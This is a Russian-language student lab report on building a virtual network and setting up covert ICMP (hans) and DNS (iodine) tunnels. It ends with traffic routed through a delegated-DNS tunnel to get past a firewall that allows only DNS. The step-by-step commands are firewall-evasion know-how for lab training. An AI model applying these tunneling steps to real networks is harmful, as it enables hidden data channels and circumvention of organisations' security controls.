# Практика №7. Скрытое туннелирование ICMP, DNS
## Построить инфраструктуру в системе EVE-NG (есть возможность ее импортировать)
Для работы был скачан образ pnet-lab не требующий импорта. Образ был успешно разархивирован и запущен в vmware.

Далее в редакторе была построена инфраструктура организации.
- Kali Linux - Linux Kali 2022 (2CPU, 2GB RAM) x2
- DNS-server - winserver-16en (2CPU, 2GB RAM) x2
- pfSense - PfSense Firewall 2.6.0, default config (Qemu version 4.1.0, 2CPU, 2GB RAM, Primary Console VNC)
- Switch - Cisco IOL-L2-ADVIPSERVICESK9 (2 port-groups)
- Debian - Linux Debian 10 (1CPU, 1GB RAM)
- Linux-vulnerable - Linux Debian 10 (1CPU, 1GB RAM)
- Win-10 - Windows 10 (full) (2CPU, 2GB RAM)
- Win-7 - Windows 7 (full) (QEMU 2.12, 4CPU, 4GB RAM)
- Network:
- Pfsense Default config (WAN-DHCP, LAN - static IP)
- Internet - Cloud-1
- VLAN-10 - 172.16.10.0/24, GW 172.16.10.254
- VLAN-20 - 172.16.20.0/24, GW 172.16.20.254

:::spoiler Switch config
```
version 15.2
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
service compress-config
!
hostname Switch
!
boot-start-marker
boot-end-marker
!
!
!
no aaa new-model
!
!
!
!
!
!
!
!
ip cef
no ipv6 cef
!
!
!
spanning-tree mode pvst
spanning-tree extend system-id
!
vlan internal allocation policy ascending
!
!
!
!
!
!
!
!
!
!
!
!
!
!
interface Ethernet0/0
description Debian
switchport trunk encapsulation dot1q
switchport mode trunk
!
interface Ethernet0/1
description Linux-Vulnerable
switchport mode access
!
interface Ethernet0/2
description win-7
switchport access vlan 10
switchport mode access
!
interface Ethernet0/3
description DNS-int
switchport mode access
!
interface Ethernet1/0
description win-10
switchport access vlan 20
switchport mode access
!
interface Ethernet1/1
description Kali-int
switchport mode access
!
interface Ethernet1/2
!
interface Ethernet1/3
!
ip forward-protocol nd
!
!
no ip http server
no ip http secure-server
!
!
!
!
!
control-plane
!
!
line con 0
logging synchronous
line aux 0
line vty 0 4
login
!
!
end
```
:::
:::spoiler Настройка файервола
```
WAN (wan) -> vtnet0 -> v4/DHCP4: 192.168.19.163/24
LAN (lan) -> vtnet1 -> v4: 172.16.1.1/24
OPT1 (opt1) -> vtnet1.10 -> v4: 172.16.10.254/24
OPT2 (opt2) -> vtnet1.20 -> v4: 172.16.20.254/24
```
Настроенные VLAN

На дефолт vlan

На vlan10

На vlan20

Настройка правил фаерволла для созданных vlan


:::
## Настроить каждое устройство в соответсвии со следующими параметрами
### Kali-2021, Win-7, Win-10, Debian - получение адреса DHCP
pfSense выступает в роли DHCP сервера и выдает ip для машин.
### Настройка Kali
Назначение статического ip, чтобы каждый раз не менять конфиги

### Win-7

### Win-10

### Debian
*dhclient, чтобы он запросил IP у DHCP сервера*
`apt install bridge-utils`
`nano /etc/network/interfaces`

После - ребутнуть либо через `systemctl restart networiking`, либо всю машину целиком

*dhclient, чтобы он запросил IP у DHCP сервера*
Для того, чтобы установить hans, необходимо предварительно скачать определенные пакеты:
`apt install git`
`apt install net-tools`
`apt install g++`
`apt install make`
### Linux-vulnerable
*dhclient, чтобы он запросил IP у DHCP сервера*
На этом устройстве будет показан пример простого DNS туннелирования. Поэтому, необходимо будет скачать iodine.
`apt install iodine`
## ICMP Туннелирование
Первым делом необходимо скачать и на Kali, и на Debian утилиту hans `https://github.com/friedrich/hans.git`. Потом - сбилдить ее с помощью команды `make`.
Была попытка забрать на Debian сбилденный бинарник через `scp`, но она провалилась тк она явно билдится под конкретную систему с конкретными зависимостями :(



### Kali
Поднимаем туннель на сервере с помощью комманды `./hans -s 10.8.2.0 -p 123`. Проверяем, что туннель поднялся.

### Debian
Поднимаем туннель на клиенте с помощью комманды `./hans -c 192.168.19.176 -p 123`. Проверяем, что туннель поднялся.

### Проверка
Проверяем пинг до другого конца туннеля

Подключаемся с Kali по ssh к Debian `ssh root@10.8.2.100`

При попытке что либо написать в консоли кали, на Debian через tcpdump можно будет увидеть подозрительный трафик

Обычный пинг для сравнения:

## Простое DNS Туннелирование
Первым делом необходимо скачать на Linux утилиту iodine. На Kali она уже предустановлена.

### Kali
Поднимаем туннель на сервере с помощью комманды `iodined 10.8.10.1/24 -c notaksuma.me -P 123`. Проверяем, что туннель поднялся.


### Linux
Сначала необходимо изменить конфиг, чтобы дефолт DNS сервером была наша Kali `nano /etc/resolv.conf`

Подключаемся к туннелю на клиенте с помощью комманды `iodine notaksuma.me -P 123`. Проверяем, что туннель поднялся.


### Проверка
Проверяем пинг до другого конца туннеля

Подключаемся с Kali по ssh к Linux `ssh root@10.8.2.100`

## Сложное DNS Туннелирование
### Настройка внешнего DNS-сервера
Первым делом необходимо сменить имя сервера и его ip на `DNS-EXTERNAL` и `192.168.19.100`. Дефолт гейтвей можно посмотреть через `ipconfig`. Дефолт DNS был назначен гугловский `8.8.8.8`. Настроить ip можно через network connections, а имя - с панели сервера.


После внесения изменений, сервер будет необходимо перезагрузить.
Затем необходимо поднять DNS сервер. Manage -> Add roles and features. Все настройки оставляем по дефолту, кроме панели Server Roles. Там ставим галочку напротив DNS сервера. Нажимаем добавить конфигурацию и ждем, когда оно настроится.

Теперь настройка форвардеров. Заходим в Tools -> DNS -> ПКМ на DNS-EXTERNAL -> Properties -> Forwarders. Для внешнего серва настраиваем `8.8.8.8`.

Проверяем, что наш серв может получать DNS ответы. Раз узнаем айпишник сайта, значит все ок.

Время назначить наши зоны на этом серве. Заходим в Tools -> DNS -> ПКМ на Forward Lookup Zones -> New Zone. Добавляем зону, называем ее так, как нам нравится. Все остальные настройки по дефолту.


Основная зона создана, теперь можно создать поддомены, с помощью которых мы потом будем перенаправлять трафик на внешнюю Kali. ПКМ на свободное место -> New Host. Сначала необходимо создать основной домен и назначить ему ip внешнего сервера т.е. `192.168.19.100`.


Потом создаем поддомен с названием `delegate.cheesekeik.me` и назначаем ip внешней Kali `192.168.19.176`.

Потом нужно создать делегированную зону. ПКМ на cheesekeik.me -> New Delegation. Называем ее `tunnel.cheesekeik.me`. И указываем в качестве сервера внешнюю Kali с поддоменом `delegate.cheesekeik.me`.



### Настройка внутреннего DNS-сервера
Первым делом необходимо сменить имя сервера и его ip на `DNS-INTERNAL` и `172.16.1.100`. Дефолт гейтвей можно посмотреть через `ipconfig`. Дефолт DNS был назначен свой собственный `127.0.0.1`. Настроить ip можно через network connections, а имя - с панели сервера.


После внесения изменений, сервер будет необходимо перезагрузить.
Затем необходимо поднять DNS сервер. Manage -> Add roles and features. Все настройки оставляем по дефолту, кроме панели Server Roles. Там ставим галочку напротив DNS сервера. Нажимаем добавить конфигурацию и ждем, когда оно настроится.

Теперь настройка форвардеров. Заходим в Tools -> DNS -> ПКМ на DNS-INTERNAL -> Properties -> Forwarders. Для внутреннего серва настраиваем `192.168.19.100`. То есть ip внешнего сервера.

Проверяем, что наш серв может получать DNS ответы. Раз узнаем айпишник сайта, значит все ок.

### Настройка внутренней Kali
Для чистоты эксперимента, нужно сначала зайти на файервол и добавить правило, которое запрещало любой трафик, кроме DNS. Firewall -> Rules -> LAN. Протокол - UDP, источник - единственный адрес, внутренний DNS сервер `172.16.1.100`, назначение - 53 порт.

Затем нужно поменять в `nano /etc/resolv.conf` дефолт DNS сервер, поставить внутренний DNS сервер `172.16.1.100`.

Проверяем, что даже пинги не работают, а DNS работает.

После настройки внешнего и внутреннего сервера проверяем, что мы можем получить ответ от внешнего сервера, обратившись к нашим созданным доменам.


### Настройка туннеля
Поднимаем сервер на внешней Kali `iodined 10.8.100.1/24 -c tunnel.cheesekeik.me -P 123`. Проверяем, что туннель поднялся.


Подключаемся к серверу на внутренней Kali `iodine tunnel.cheesekeik.me -P 123`. Проверяем, что туннель поднялся.


Пингуем с внутренней Kali другой конец туннеля. Пинг идет. Ура, туннель работает, файервол обходится.

Но это еще не все. Теперь нужно получить доступ во вне. Настраиваем маршрутизацию. Заставляем трафик идти не через файервол, а через туннель.
`ip route delete default`
`ip route add default via 10.8.100.1`

На внешней Kali настраиваем маршрутизацию трафика между интерфейсами
`iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE`
`nano /etc/sysctl.conf` раскомментить строку net.ipv4.ip_forward = 1

### Проверка
Пробуем с внутренней Kali выйти в интернет и пропинговать что-нибудь. Работает, ура, победа.

Также, если на Debian проверить идущие пакеты через tcpdump, то можно увидеть, что трафик идет именно через DNS благодаря подмене доменов.
